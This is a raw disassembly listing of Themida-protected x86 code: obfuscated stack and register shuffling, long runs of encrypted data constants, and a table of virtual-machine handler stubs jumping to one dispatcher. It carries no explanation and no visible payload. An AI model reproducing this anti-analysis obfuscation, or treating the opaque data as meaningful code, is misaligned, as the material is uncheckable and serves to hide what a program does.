pop esp
mov [esp], eax
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebx
push 77E6h
mov [esp], esi
push ebp
mov ebp, 141D2862h
add ebp, 31742C7Ch
sub ebp, 1
dec ebp
sub ebp, 3F793A1Eh
mov ebx, ebp
pop ebp
push esp
mov esi, [esp]
add esp, 4
push eax
mov eax, 8
add eax, esi
push ecx
mov ecx, 0
add ecx, eax
mov [ecx], ebx
pop ecx
pop eax
push dword ptr [esp]
pop esi
add esp, 4
mov ebx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_59027A
; ---------------------------------------------------------------------------
dd 9F08C831h, 0B8F3E33Fh, 6182615h, 0E0FFC503h, 0E926DDEh
dd 17CE5142h, 2C97B807h, 15287C92h, 6F88D877h, 76EA2816h
dd 6BC864DFh, 60B52452h, 8A37D8h, 0CE8h, 4CF93A00h, 7CECDF50h
dd 3E25AEA6h, 810F50BDh, 3, 5FDA8B66h, 0C8B70F5Eh, 7509C681h
dd 81660000h, 2B4F98EBh, 0FE9D2h, 4E620000h, 0C0E39E06h
dd 0B27F3979h, 84289BD2h, 3234FF5Fh, 3850Fh, 0F5800000h
dd 0BF6658CAh, 0E881845Ah, 20E27F7h, 3820Fh, 0BF0F0000h
dd 58E881DBh, 0E93BB0E6h, 9, 0E50FAF8Eh, 0E88B2BDFh, 55F081DEh
dd 607BA814h, 5AF38B56h, 61DF8B66h, 0DE950h, 3B280000h
dd 3F909495h, 7EE086AAh, 8FC85FAAh, 0CF8B1604h, 0EA836AB5h
dd 0FA81F904h, 0FFFF8BD4h, 18850Fh, 2ABF0000h, 0E966A006h
dd 2Eh, 776CB2A9h, 0BFE04DC0h, 84256C08h, 8D0F8F7Ah, 6
dd 8E33DF81h, 6AE95096h, 53FFFFFFh, 62011884h, 4AF89873h
dd 39D258EEh, 8D8D63A2h, 61828AEh, 68D0Fh, 0BD8B0000h
dd 6121249h, 2DCD8D89h, 6A0612h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 66241DC3h, 85C7DE8Bh
dd 61231BDh, 6E48h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 0A3C35545h, 0F669FCA4h, 57C56BF2h, 0DDD381EEh
dd 0C75F1246h, 12001185h, 6, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 28CC7F33h
dd 8D9FA65Fh, 0FFEAB4EDh, 120C89B5h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 5EB3012Bh
dd 0C3A7876Fh, 278195FFh, 6A0612h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1B0424h, 51410000h, 41C2D2C3h, 182DEF8Dh
dd 0FF006A30h, 1229D195h, 0EBC08B06h, 430E8E4Ah, 5C881676h
dd 5C2F9C2Fh, 903DE104h, 0EB6C86EEh, 0FBC7F4BDh, 19AC6320h
dd 87FDF5A7h, 964F6285h, 0E8C06C35h, 35A223BDh, 0B5844E50h
dd 0CBBF1954h, 46496875h, 687FAFBEh, 0A4C69E73h, 44D31BF1h
dd 0EBA92081h, 0E8D4E958h, 7, 0B079599Fh, 2B91FAF9h, 122CB995h
dd 8F0F5E06h, 0
; ---------------------------------------------------------------------------
add esi, 6042h
jnb loc_5DE402
mov [ebp+61233E1h], ebx
loc_5DE402: ; CODE XREF: Themida_:005DE3F6j
push 17E5h
mov [ebp+612219Dh], esi
pop ecx
sub [ebp+61211D1h], eax
loc_5DE414: ; CODE XREF: Themida_:005DE47Cj
push dword ptr [esi]
add [ebp+61222D1h], ecx
pop ebx
mov [ebp+6120021h], eax
xor ebx, 74295518h
movsx edi, di
xor ebx, 6C7968E9h
xor edx, 1DF69483h
add ebx, 3E20C094h
sub [ebp+6120CB5h], esi
mov [esi], ebx
stc
sub esi, 2
mov dx, 5218h
dec esi
dec esi
sub ecx, 1
jnz loc_5DE476
jb loc_5DE468
mov eax, [ebp+61214A5h]
loc_5DE468: ; CODE XREF: Themida_:005DE45Cj
jmp loc_5DE48E
; ---------------------------------------------------------------------------
db 70h, 13h, 1Dh
; ---------------------------------------------------------------------------
mov cs:766037BBh, eax
loc_5DE476: ; CODE XREF: Themida_:005DE456j
mov eax, [ebp+6120019h]
jmp loc_5DE414
; ---------------------------------------------------------------------------
db 0FEh, 70h, 2Dh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
mov word ptr [ebp+7F4471D9h], es
xchg eax, edi
xchg eax, ecx
das
loc_5DE48E: ; CODE XREF: Themida_:loc_5DE468j
jmp loc_5DE539
; ---------------------------------------------------------------------------
db 8Ah
dd 470E17E7h, 0F3BAF5CCh, 0D666D138h, 979FABAFh, 0E37C4DB2h
dd 720095B7h, 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h, 609EB794h
dd 897D60D7h, 8C9EA9BDh, 0E3729EBDh, 204A95ACh, 7E9BB98Bh
dd 0B99D8993h, 96AFF496h, 0B594A19Eh, 0FD91A7D6h, 0CC48D100h
dd 3C33594Ah, 4D520071h, 5EF357DBh, 0BBEFB600h, 0BD899Dh
dd 0B69F8995h, 97BBEFh, 0C3B1B6D0h, 527155h, 0C20DA437h
dd 0E0910D3h, 0Ah dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5DE539: ; CODE XREF: Themida_:loc_5DE48Ej
jmp loc_5DF48A
; ---------------------------------------------------------------------------
push 6182C43h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6182D32h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6182DFCh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6182F34h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6182FB7h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 618304Fh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6183104h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 61831A6h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 618323Eh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6183320h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 61833D9h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 618351Fh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 6183791h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 618386Ah
jmp loc_583BD9
; ---------------------------------------------------------------------------
dw 0F82h
dd 721AB300h, 0D3B7509Dh, 3956EF3Ch, 9DF089D6h, 80352572h
dd 0A3F01F6Eh, 418E810Ah, 0DA27E8A8h, 75C24D41h, 43444C9Bh
dd 404DF78Ah, 1C728D63h, 137B34F3h, 98A0C7FCh, 47DF5FEFh
dd 0B516818Ch, 0BFA437D8h, 2A7798F6h, 1EDDC4CDh, 9FE8F007h
dd 0DC47DF5Fh, 0B0DE3ED1h, 0B049F18Ch, 8EF69199h, 7A854DF1h
dd 5F949FE7h, 0F18F4447h, 4E93AF4Dh, 0AECD5F37h, 238C24h
dd 0AEDE0000h, 49C6CAA5h, 0AF171FDEh, 0D649F17Eh, 0D7E96CBh
dd 0E64DF181h, 107017CAh, 0C524AEDFh, 10Ch, 351C7217h
dd 0A8926264h, 6CA10CEEh, 8FAD2E45h, 2DB7676Eh, 343A4DFDh
dd 484947E0h, 0CC5FCA45h, 83DD2BBh, 0A96628E1h, 0FD0EA174h
dd 6BF7E91h, 602A8B84h, 10371CAFh, 47DA3557h, 6AB75836h
dd 0E02F1E82h, 0C9464847h, 0C4CC857Ch, 0B043164Bh, 642AEF9Fh
dd 38A376ABh, 886D7603h, 3119C1C9h, 798449F2h, 86B4352Ch
dd 0F016706Ah, 2D360B9Eh, 60DB968Ah, 0F0511963h, 6B3E739Ch
dd 71C04100h, 2CD08502h, 0DF14BBE4h, 0C645EEE2h, 0CABCC433h
dd 865004EEh, 1C51BECDh, 636EB649h, 6DA2EBA4h, 7699F5AEh
dd 404DE6E3h, 3ECF50CFh, 3EE3EDBEh, 0CD477h, 0AD622F00h
dd 4AC5C760h, 0E92664FDh, 838C039Ch, 1FF09D36h, 1BD3E2D2h
dd 0B7509D72h, 55EE3BD4h, 0EE87D43Bh, 48226FA0h, 8B96F1F9h
dd 8E54DF7h, 0A01B7232h, 0DF5FEF98h, 0E834FB47h, 0D0D0E4C2h
dd 75C22D38h, 285F677Eh, 9247DFD7h, 0CDF14FBh, 0C5D66974h
dd 43F946C9h, 1C0A5AEh, 0F17ECDF9h, 276F3849h, 76D2CF6Dh
dd 2A4277E2h, 4DF17C61h, 246B7692h, 24AEE3ACh, 0AC79h
dd 1C72CB00h, 147F90FDh, 987716DFh, 5B554B63h, 2F5F47DFh
dd 94FA93E0h, 0B0B9467Bh, 1B50BFCBh, 161EDD48h, 49F164C4h
dd 0AADDE5FCh, 104DF16Eh, 895C917Eh, 0DE3E28F1h, 670B4DB8h
dd 162169FCh, 7E636CC9h, 9BEFA8BFh, 0D96C3F74h, 4B41A79h
dd 3FFE0950h, 0ACB40786h, 47E57ADBh, 0E5329DA8h, 0B75835EEh
dd 957A1324h, 0BE640B16h, 0BB8227EDh, 0BE5h, 71BE5140h
dd 0E5BB4D8h, 0ADFA1575h, 47947B14h, 0E330DFAEh, 612CC2F3h
dd 0C3C861AEh, 2A66FF4Ch, 8FFF98E5h, 0A593380h, 0F78C8502h
dd 4319F64Dh, 0A7F41B72h, 428F800Eh, 0F31C728Ch, 72151D34h
dd 1147DF5Fh, 0C58E7306h, 60F946C9h, 0E7B0E52Ah, 0AB1B68A7h
dd 0FD8D4699h, 770ADD12h, 0EDAC99A2h, 5AD855D6h, 0AAB50A1Eh
dd 0D097B717h, 0EC749F1h, 8A5D927Dh, 53A4AFF7h, 5BDD1B73h
dd 58A435Eh, 60957A14h, 0BA8F228Dh, 0EE05C4B1h, 0A36C1ED7h
dd 9CEB9B6Eh, 0DF3977DEh, 2DE141D4h, 583B89D8h, 828B184Dh
dd 49CCD493h, 2E417D56h, 0CC4D6423h, 248B326Bh, 0ECFD90F6h
dd 87206DA2h, 8A890807h, 0C81C27E3h, 0B1B5C23h, 1B760000h
dd 7E0EA7F4h, 0DFAB4491h, 454AE330h, 0A9E47DCAh, 8C291966h
dd 97E42B62h, 35828DFEh, 0CE1BF49Ch, 69B65935h, 4F38408Fh
dd 2C4DF78Ch, 1C72794Fh, 0F7B34F3h, 0FB886D00h, 3C4403F2h
dd 49F172F2h, 0E03D8A95h, 0AA2BEAD7h, 2FFAABFCh, 83F285BDh
dd 3D0837Bh, 0D897A250h, 6FA46B1Fh, 0FD24099Ch, 213AD57Ch
dd 8607F8B7h, 16815489h, 0FE682383h, 6F8B47DFh, 61BB1B72h
dd 5C7022BCh, 0C2000000h, 0C6CAA5AEh, 0D6411449h, 0ADF10F17h
dd 0DC9549F1h, 582B60AFh, 0F7C7DC5h, 8DF8CB00h, 0D67B15CEh
dd 5737AC87h, 87B083B8h, 26D6547h, 6AC0CDB5h, 89A04DF1h
dd 0F16B0681h, 0D76A754Dh, 0FA47C8C6h, 0E36BEC03h, 9C3B134Ah
dd 0A1BEC979h, 0B2BD4DF1h, 8D820E1Fh, 0A3F9158h, 0AEFB0000h
dd 0EA01C0A5h, 22B55A31h, 0F7821FC2h, 0AAC38C49h, 77594CE4h
dd 1A31F05Bh, 0ADE22D61h, 583647DAh, 0BDD16AB7h, 87901D52h
dd 7FD3DB9Ah, 6E500F9Fh, 0A3EBA463h, 8861F6Ch, 3C45D207h
dd 0FE7F9655h, 56545BA2h, 6BCB5E81h, 49F1A807h, 4DAC2B36h
dd 0A5EBAA48h, 9E33900h, 533E0000h, 0B6D66FBCh, 17730C59h
dd 7D12ABF8h, 0E1AC4592h, 0C4F1E12Eh, 5FAC632Ah, 0FD4AC5C6h
dd 96E32C64h, 317E91FDh, 87000857h, 0F44DF78Eh, 5B144117h
dd 0EA4ADD32h, 47DF5FA1h, 828D02BBh, 12E77A4Dh, 0AB642609h
dd 7938A376h, 36E3A962h, 0BC4FBA55h, 0F781EE5Ch, 4F0E1949h
dd 0F7F38h, 0DD325C6Dh, 0E827651Eh, 0CFBF5855h, 757E0B40h
dd 65C9D190h, 6050099Ch, 4B69D655h, 24C9EDB2h, 9605Dh
dd 39D6BB00h, 0D63953ECh, 759AF089h, 0F008F28h, 0AB6429C2h
dd 0A7476E5Eh, 43DC29E6h, 0E17AC748h, 7A1360AFh, 0D4AEFB14h
dd 8F0A7D85h, 9C794DF7h, 0F31C72C6h, 4B1697BEh, 72BAB8Eh
dd 0A9E5F689h, 89F41B70h, 0E4FD6954h, 0BC4FD5ADh, 4760222h
dd 0AE540000h, 0F901C0A5h, 49F78185h, 1DD695A0h, 0B8519E71h
dd 0C64943D6h, 0A8E39C5Bh, 0CC5F3267h, 88BCCFE7h, 313A4DF7h
dd 9CD13E4Eh, 979F5EC9h, 50099C97h, 0D03F4E07h, 0ED35C89Bh
dd 4B8E63E2h, 9F44EDB2h, 8C8D8h, 0A16E2300h, 3ED1BB54h
dd 0DD3258F1h, 7798F790h, 13FC912Ah, 0FDFD6C6h, 0AB44917Eh
dd 49E22FE0h, 0E27BC847h, 3C1663ACh, 8FA2E5EDh, 4E14DF7h
dd 0F31C722Eh, 7699F5BEh, 0EF98A0B7h, 8C47DF5Fh, 4009EE81h
dd 0C28BC04Fh, 440D42CDh, 0BB8EC34Ch, 7368798Dh, 345D84F0h
dd 7F7377B3h, 0EE9FEF1Fh, 0AE19EC21h, 77D6AE1Bh, 0C10322BCh
dd 55000003h, 0DF5F6823h, 0A0858E47h, 81ABD9E1h, 0C3CE49F7h
dd 926CED04h, 0ABF8644Dh, 761829BCh, 6D21DA99h, 0ACDBE3A2h
dd 0CF4DF7B1h, 9B3431C4h, 5AE71CF3h, 9DA56451h, 5009C591h
dd 0D1AA2934h, 81EDB230h, 81315DCh, 236E0000h, 86069FECh
dd 0E7A33C89h, 4D42DB28h, 0B1DC75C2h, 9421115Eh, 8FDC335Ah
dd 2D7A95F6h, 0C613FC94h, 61AE612Dh, 57303887h, 244DF790h
dd 1C727147h, 99F5BEF3h, 8FFEB776h, 1D08ED80h, 405730B1h
dd 0DF5F4F38h, 0E22D6347h, 0E342DAADh, 0DF5FACDBh, 59C4CF47h
dd 0E27959C6h, 19AE22BCh, 3, 0DF5F6623h, 927F8847h, 81F0CBD3h
dd 0C8D349F7h, 3071F209h, 0C81AC6F4h, 98F6079Ah, 0FD912A77h
dd 0F09A5312h, 8417EA1Fh, 1C09129Fh, 0E481555Dh, 59645009h
dd 0B2070BDAh, 3B02A7EDh, 771h, 0FD4AC5CCh, 9AE72864h
dd 39868901h, 0D320EFA0h, 6FBC533Ah, 0D5B8367Fh, 3754ED3Ah
dd 9EF28BD8h, 38B2471h, 96E5BF0Ch, 0F790F98Eh, 0D7AD8A4Dh
dd 92F5FD14h, 0F147DF5Fh, 4C4253E6h, 0C9C58EC3h, 25068746h
dd 553D1F8h, 0AE9CE61h, 0FE905B86h, 0F7995211h, 93888518h
dd 22BC5233h, 7E8h, 71743A00h, 0DE000002h, 0DF5F6623h
dd 927F8847h, 81E9CBD3h, 0C1CC49F7h, 0CA454902h, 65AAE47Dh
dd 0AB9AA330h, 9FF2E4ECh, 0CAD55009h, 0B243844Bh, 0E2A94EEDh
dd 6D9h, 65B25D34h, 24FC0CCh, 0A1EE2169h, 3B888708h, 0D724EBA2h
dd 6D20CEE7h, 0CFBC55A2h, 365AF340h, 9BF38CD9h, 0FE4D2774h
dd 0F79191F6h, 3F15F24Dh, 0F7351C72h, 6643FFD8h, 90FB147Bh
dd 6727F025h, 0CAD2E9A8h, 47DF6BBDh, 3B20B3BEh, 0BFF41B72h
dd 467B94F6h, 0AA2FB29Eh, 0B732AF33h, 0F6EB38D7h, 22BCF29Eh
dd 1F4Bh, 5B149D00h, 64ABE534h, 5EF15C2Fh, 1C74Fh, 0FFF77800h
dd 41CEBF1Eh, 0A410390Ch, 4F7D1069h, 0DF5F6123h, 977E8747h
dd 8508C1D8h, 262E558Ah, 47DF5F61h, 19AC1722h, 0F781F8B9h
dd 0DD9CA749h, 58A56A24h, 404ACFBFh, 0A22F64CFh
dd 38D7B699h, 0B3D4DC03h, 0D04DF789h, 30EF5AC5h, 99FAE28h
dd 0B2BA1950h, 47E99BD5h, 553A9BA6h, 35D04FBAh, 0BDEDB243h
dd 5F75118h, 3F520000h, 0A2EA83D0h, 387206Dh, 6926BF0Ch
dd 0CDC059A6h, 0B005F542h, 73C04F3Eh, 115EB1DAh, 0AAF71878h
dd 45927D11h, 73141C6Bh, 104DF792h, 0FD145D33h, 0DF5F92F5h
dd 53E6F147h, 8EC34C42h, 8746C9C5h, 3458C1CEh, 68D3A6DBh
dd 6A11F0D5h, 0A336D9B1h, 2F5F8A57h, 269E93E0h, 0F322BCFEh
dd 7, 0F67445h, 23DE0000h, 47DF5F61h, 0D8977E87h, 6A9F701Fh
dd 8D950497h, 49F7821Ch, 0CAE1A0ABh, 5C917E11h, 0A9E5F689h
dd 0E801966h, 232B4201h, 4DF78964h, 454D0C17h, 4DF78A42h
dd 0BEA33641h, 7A392831h, 9A06472h, 0C9485350h, 0EDB2431Ah
dd 3E8C53F8h, 99000005h, 31CA17F8h, 0CE67B45Bh, 6D0653BCh
dd 7A0ED22h, 4C3C8986h, 7088569h, 0A56A21BAh, 3ED1BF58h
dd 0D93658F1h, 5B63B28Ch, 4DF7932Ch, 729C724Fh, 0F5BEF31Ch
dd 30C8099h, 5B90FBCEh, 0FEE9F87Ch, 0A9C07F90h, 0C3739CF0h
dd 47DF5FC4h, 1C19ACB7h, 3B550E25h, 5F6324D4h, 152047DFh
dd 0FEBD1582h, 7CFD22BCh, 0FD92812Ch, 0E10ADD12h, 8A1DE997h
dd 788h, 2974DA00h, 0DE000000h, 0DB345B14h, 2F40D3A6h
dd 39D6BA5Fh, 91C63104h, 1449C6C8h, 6C776A7Eh, 752EED22h
dd 0ECBFF41Bh, 33C55C59h, 2F000000h, 0BEF31C72h, 1A31697h
dd 1288A253h, 8E6F1F7Fh, 3F4D47DFh, 255AB5DAh, 0E9B2E752h
dd 363368A7h, 38EAEFF2h, 0D33C5009h, 0EC38CB9Eh, 7B94FAF5h
dd 1C72782Eh, 2831BEF3h, 6F727A39h, 3C49F782h, 0A25B7231h
dd 809124EBh, 1BB4010Eh, 0DA679C73h, 1D25E4D1h, 500FAB35h
dd 4693D7A0h, 30CBC663h, 0D2FB11B9h, 0E24DBA67h, 0EF8B0C23h
dd 0DAC20738h, 404E5FF2h, 0A5E982CFh, 0E0790E16h, 0FF0A47DFh
dd 0C9D25F94h, 0FE69A6E6h, 3B373Fh, 696A49F2h, 0E1B4E926h
dd 1EB6F776h, 17BCEBAAh, 3F850h, 0D13E5300h, 6EA1EB84h
dd 0D028821h, 0A76827C0h, 43CCC15Ah, 3FAF06F6h, 0DB74C14Eh
dd 79125FB0h, 12ABF817h, 6C46937Ch, 9472151Dh, 34114DF7h
dd 9F1C725Eh, 0DF5FF097h, 1D889347h, 0B85737D0h, 3D455C83h
dd 47DF5F4Ah, 8A9B2E39h, 0F7D60B04h, 0C4F79750h, 0DF5FCBBCh
dd 42ADB847h, 0C44B440Dh, 0BE51BC8Fh, 1A746F72h, 17B536F5h
dd 756BDF25h, 0C4B9B649h, 22BCE2CCh, 7699F3ACh, 0A7AF6E41h
dd 47DF87E0h, 30598A3h, 5Fh, 92F5FD14h, 0F147DF87h, 0AE2553E6h
dd 0EA01C0A5h, 5FBCCBD3h, 0BEBF47DFh, 3B0E43CCh, 23DD3DD0h
dd 0E749F1AEh, 15D2E166h, 0A83B1279h, 0F52C9760h, 98381CCAh
dd 0DBB56E2Dh, 565E7534h, 4DF23E31h, 3D64232Bh, 0C174DF2h
dd 0D9D66974h, 0F23D9CF1h, 0A36C224Dh, 3CD3BD56h, 30F4007h
dd 0AEAA0000h, 0EA01C0A5h, 0DF5FA5E2h, 83EE4547h, 2A6B208h
dd 84030B6Ah, 0F747DFACh, 7FEE81ECh, 0F1D45B77h, 40C2349h
dd 4DF1C383h, 1A62F500h, 7D11DA0Fh, 0B3C75D92h, 7D4552Eh
dd 0CF05EF0Ch, 3E471CAFh, 6A819857h, 8434DBB1h, 4DF1D503h
dd 82E27580h, 5003FC50h, 0F0E7343Fh, 0BBB6D1D9h, 0BAC547DFh
dd 5C495227h, 64ABE49Dh, 5AC95C2Fh, 0F1E38052h, 8106F49h
dd 4DF1D47Fh, 0FF90F1FCh, 9D08DB10h, 21EE9F68h, 895844ECh
dd 0E5A4919Ah, 9A7515CEh, 1DF29C65h, 13BF1FB2h, 825003FCh
dd 7A332A77h, 0F2C5FA15h, 3D4BB9C9h, 50E343D1h, 8BC04F3Fh
dd 8443CCC2h, 0BB4EC1CBh, 695861BEh, 76ECA2AAh, 909B49F2h
dd 2448435Bh, 8FAB4DF2h, 275B3B52h, 3B9024AEh, 0E2000000h
dd 1C0A5AEh, 0F17ECDF9h, 58373849h, 44AF82B7h, 0C9D1E80Fh
dd 4DF180BEh, 3FD0BCBDh, 39CC370Ah, 0F180B2D9h, 4902414Dh
dd 0C497CC43h, 95FCE531h, 24AEDF3Dh, 0AFEAh, 5B143C00h
dd 3748DB34h, 0BA83B857h, 3E073CD3h, 0C18ABF50h, 0CE414CCDh
dd 722E1663h, 7447DF5Ah, 0FA8F51Ah, 0CA97D27Fh, 0B5FFFF5Fh
dd 0A1D63954h, 0A12E63CEh, 0E2EAA998h, 49F1FE74h, 18995863h
dd 8AC1E635h, 9A972A91h, 8E4D343Dh, 42CDBE77h, 47A73A0Dh
dd 50043BD4h, 2CE5A4AFh, 6A61AE61h, 99405DE9h, 699DD1Bh
dd 0F87798F5h, 0EDBE03BFh, 86470EB3h, 0E1000001h, 79125FB0h
dd 16AFFC13h, 0B54E9B74h, 4FE835DAh, 9484D13Eh, 4FC0CD21h
dd 0ED226902h, 868907A0h, 21EEA039h, 0A3ABFAD4h, 4DF796E4h
dd 72E4BA97h, 0EA7F41Bh, 8C428F80h, 1C0A5AEh, 0B55A31EAh
dd 0BA1AAD80h, 49F17F0Ch, 1BF49B54h, 503F4088h, 85347101h
dd 49B4C000h, 0A1D64114h, 0F1C60289h, 0CD5F14Dh, 91C0CA83h
dd 302D19C9h, 0E41984D8h, 0B1117E11h, 6624AE80h, 95h, 0DE9314B8h
dd 0AE2C1836h, 0AAE4F588h, 0B37E0911h, 0F2FD47DFh, 7C0FC887h
dd 0B11CF39Dh, 3116A97Ch, 0B5EA2568h, 0DFAF039Dh, 0A6692547h
dd 41CEC059h, 8F767F0Ch, 0A88EC8D0h, 6E7949F1h, 0D6BBC421h
dd 53AF0F17h, 0B165004h, 15FA934Ch, 0B15E2FC8h, 0BE786F32h
dd 17DE83EDh, 0ADh, 39868908h, 0D623ECA0h, 75C24D3Dh, 0F5CB3DCh
dd 0ABF81776h, 99F4FABBh, 0FB902976h, 622EC714h, 0C7C760ADh
dd 0D221FB48h, 0F797BDCAh, 0BE1BE4Dh, 0A7F41B72h, 428F800Eh
dd 0F31C728Ch, 8099F5BEh, 0DEA9B10Ah, 9D47DF5Fh, 1FF22792h
dd 10A67B4h, 94D5514h, 0EC49F782h, 89AA6D23h, 9F0AEEAAh
dd 22EDA16Ah, 0FF523CD5h, 0D11092E6h, 4378E3BDh, 0E7A1252Bh
dd 0F3EE0255h, 0B8396F8h, 0C3DA9904h, 0F718CCBBh, 11A4AF55h
dd 0FC137B14h, 7E91FEC7h, 2CB5A149h, 8342CDC1h, 46AFB002h
dd 396CA1Eh, 0EE216D06h, 3F2B9h, 225C0000h, 0F01F7234h
dd 739CF2BBh, 0F41B753Eh, 7A95F6BFh, 0FE117C45h, 828D00C9h
dd 40B844Dh, 8B8406CFh, 10FF8D56h, 5456D4DBh, 4C6815Eh
dd 83000000h, 348704EEh, 0FB685C24h, 89000030h, 0C4682414h
dd 8900007Ah, 0BE56243Ch, 7D06347Eh, 1E1E8E68h, 0F2315A7Bh
dd 3C8B545Eh, 4C48324h, 266868h, 24148900h, 0F6242C81h
dd 8F2DDE19h, 47810847h, 0DE19F608h, 243C8B2Dh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_583BD9
; ---------------------------------------------------------------------------
db 8Fh
db 9, 8Ah
; ---------------------------------------------------------------------------
loc_5DF48A: ; CODE XREF: Themida_:loc_5DE539j
mov eax, 618393Ch
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 0FBh
dd 2279873Fh, 8E6BEE68h, 5D0D38D1h, 540EA67Eh, 213DD164h
dd 7A218394h, 3A7F8A86h, 4E03E75Dh, 4E55BCE9h, 1A77782Dh
dd 0B6299B79h, 863A21F1h, 647B8A1Dh, 5E370C6Fh, 0DA1F17BBh
dd 0AC09F849h, 0C67A212Bh, 0AA492A7Bh, 373E4861h, 39573BC0h
dd 5D123647h, 6523C719h, 0B43AA755h, 145BD8FCh, 74920C1h
dd 42BF6F2h, 2236A7EAh, 0B14F54E7h, 0C0728DEEh, 0E919836Ch
dd 1AAh, 436DF3C9h, 1AD52C27h, 46B198D3h, 0B4CAD1D7h, 5B7E41EFh
dd 5D9752E4h, 0FCA3FB6Dh, 9EB99244h, 0BCD792A5h, 93B9E495h
dd 9DB2CB00h, 9CACA3F4h, 9EB9FCh, 0AFC945D2h, 0FC00EE73h
dd 9CBA9755h, 0A4E56D59h, 0FEACFFB2h, 5657F647h, 0CCD4C4h
dd 8F7DB5F6h, 539549F7h, 0C9BCFA97h, 915CCD45h, 0ACE56CA1h
dd 10000h, 43h dup(0)
dd 6D849700h, 69F033A2h, 0EEh, 0Ah dup(0)
dd 0A4E90000h, 68000010h, 6183DF0h, 0FB0BB1E9h, 3F1968FFh
dd 0A7E90618h, 68FFFB0Bh, 61840C5h, 0FB0B9DE9h, 41BE68FFh
dd 93E90618h, 68FFFB0Bh, 618430Dh, 0FB0B89E9h, 43FC68FFh
dd 7FE90618h, 68FFFB0Bh, 618449Dh, 0FB0B75E9h, 44FF68FFh
dd 6BE90618h, 68FFFB0Bh, 61845F5h, 0FB0B61E9h, 466968FFh
dd 57E90618h, 68FFFB0Bh, 6184721h, 0FB0B4DE9h, 47E668FFh
dd 43E90618h, 68FFFB0Bh, 61848C6h, 0FB0B39E9h, 49DA68FFh
dd 2FE90618h, 68FFFB0Bh, 6184AD9h, 0FB0B25E9h, 0BB1D9AFFh
dd 0F54BCF75h, 2B8909AFh, 68C03FE5h, 0A5FB7C22h, 3D81215Fh
dd 781E64BCh, 0B3599FF5h, 0EB91D731h, 8EC50B6Dh, 0E35BE02h
dd 64B521F8h, 41971533h, 0C422A0AEh, 0B0763FA0h, 0FA8DE367h
dd 0D1D21F28h, 7BB7DD3Fh, 0CD35911Ah, 0CB2D2DE0h, 3447C4E5h
dd 0D76CA41h, 94D71C3h, 21F28DFFh, 5EB4381Eh, 0DA6DD7FCh
dd 6D76BA36h, 6DDE0E53h, 0AD5A103h, 7FDE0E53h, 816A9FFh
dd 0C7992C8Ah, 0CD60B839h, 15D79822h, 0EF9B5CEEh, 5AF79573h
dd 574Fh, 9B179300h, 0E5B8C57h, 0F8E44EDEh, 0DE0E5BEBh
dd 77F785EFh, 5ABC8E21h, 0E40C9D79h, 97C7D983h, 0AD9982BCh
dd 27E0DB26h, 0DB7281C5h, 0E7827E0h, 0E90D5FC9h, 0F2FA13A5h
dd 0E477E121h, 0EFA6F78h, 30F789DEh, 0D8AA43A4h, 0A2C41348h
dd 22A01C40h, 0CE7E5AF7h, 0E5000000h, 1D419715h, 0F85AB637h
dd 9AF67785h, 0B4129076h, 7AED4F21h, 598EE6Ch, 0D91F79F7h
dd 8AA33C9Dh, 0F3CC6633h, 2C8EE665h, 0E0194560h, 85EDC27h
dd 0C9E1CC2h, 4EE13389h, 0B7DBE1C8h, 95F74DD1h, 13B74D91h
dd 0B09621F2h, 5176D82Eh, 2683A1E7h, 0C8A7094h, 0B74517AAh
dd 784ADD33h, 8CE1216h, 0CAD81A81h, 0B2DB3C60h, 3E61707Dh
dd 0AC15DE22h, 6BD5D439h, 0CDB3B719h, 8AEF44Ch, 0B5D83187h
dd 2DF5AE2Dh, 0DE33D2Ah, 0A8250000h, 0E0640A50h, 1E9E448Ah
dd 5DDC82C8h, 9A1BC107h, 0E8BAF83Eh, 0B1F751D2h, 0EA30880Bh
dd 266CC244h, 5EA40280h, 8C579B27h, 4E21F80Fh, 9415CCFDh
dd 846F7C00h, 570F5ABEh, 0A0E6388Ah, 0D41A7CFAh, 1A997FBBh
dd 0F35527BAh, 2269C0Dh, 0B20A086h, 70E4A70h, 5EC012F0h
dd 0F2F00C92h, 0D164CE21h, 0EF09A65h, 3E476DEh, 0F738FB77h
dd 0D3543A5Ah, 0F18EA7Dh, 0F164CA0Eh, 0B31A7CDEh, 0EAh
dd 4197151Ah, 89B5371Dh, 0E032BE45h, 80D23C27h, 46B91BEDh
dd 0CE61B738h, 0E0364762h, 3460DE27h, 0E376D04Eh, 0C9DE2511h
dd 0B21CD81Fh, 62DE1A60h, 1FC9D51Eh, 49AB15D8h, 3DBF5DDBh
dd 0F07E50E3h, 0A3C7196Fh, 0DCE53BBDh, 0AE9824C6h, 0D245A7F8h
dd 43675D4Ch, 0DE2C5FFh, 0E36248DEh, 0F4FD1ECEh, 0A6F8E01Dh
dd 0BADF4113h, 0BB19987Eh, 0D8904CFh, 0A5CC6DEh, 0C103A6C4h
dd 67FD3C9Dh, 0D0E34771h, 21266A6Eh, 11D819ECh, 1C9D83A7h
